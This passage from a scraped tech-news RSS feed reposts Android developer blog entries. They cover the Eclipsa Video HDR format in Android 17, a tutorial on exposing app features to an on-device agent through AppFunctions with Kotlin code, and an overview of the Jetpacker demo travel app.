Video.</i></div></i><p></p>

<h3><strong><span>More consistency, comfort, and creative control</span></strong></h3>Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image. <br><p>Designed to scale with your hardware, Eclipsa Video provides three core benefits:</p>

<ul>
    <li><strong>A consistent baseline:</strong> Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the <b>HDR reference white</b>. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.</li>
    <li><strong>Adaptive headroom:</strong> Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.</li>
    <li><strong>Preserved creative intent:</strong> Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.</li></ul>

<div class="separator"><img border="0" data-original-height="1080" data-original-width="2200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirgS5TsogRUxWbypUiFlWIRuL8nQhdagvc7UHVFjoDG00SjqSrMniKFEys-EzgcrHKi6Am5BrtALEs7px1oaaJ5ciaO7hP0_49i8RuD7uCckjW7jYWrSoFkDlob6dJhL42MPLiBQqAjaPMOMJDEjZjDgvVe0P28fw13RlMNSiMEAlx5XFXCr8o6L8SRo0/s1600/Eclpsa%20Blog%20post%20image-AlphaB.png"><br><div><i>Eclipsa Video preserves true highlight detail on any screen you watch.</i></div></div><h3><strong><span>Built natively into Android 17</span></strong></h3>

<p>Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.</p>

<h3><strong><span>Guidelines for developers &amp; creators</span></strong></h3>

<p>We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:</p>

<ul>
    <li><strong>Get started with implementation:</strong> Learn how to configure playback and capture in your apps with our <a href="https://developer.android.com/media/platform/integrate-eclipsa-video">official guide</a>.</li>
    <li><strong>ExoPlayer &amp; Media3 integration:</strong> Standard playback handling built directly into <a href="https://developer.android.com/media/media3/exoplayer">Jetpack Media3,</a> allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.</li>
    <li><strong>Explore open source tools:</strong> View and inspect <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50</a> metadata and dynamic gain curves in real time using <a href="https://webmproject.github.io/hdr-explorer/">HDR Explorer</a>.</li>
</ul>

<h3><strong><span>What’s next</span></strong></h3>

<p>Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.</p>

<p>Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.</p>

<h3><strong><span>Notes &amp; Availability</span></strong></h3>
<p><strong>1. Device Compatibility:</strong> Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.</p>
<p><strong>2. Developer Resources:</strong> The <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 Specification</a> is openly accessible for technical evaluation.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a 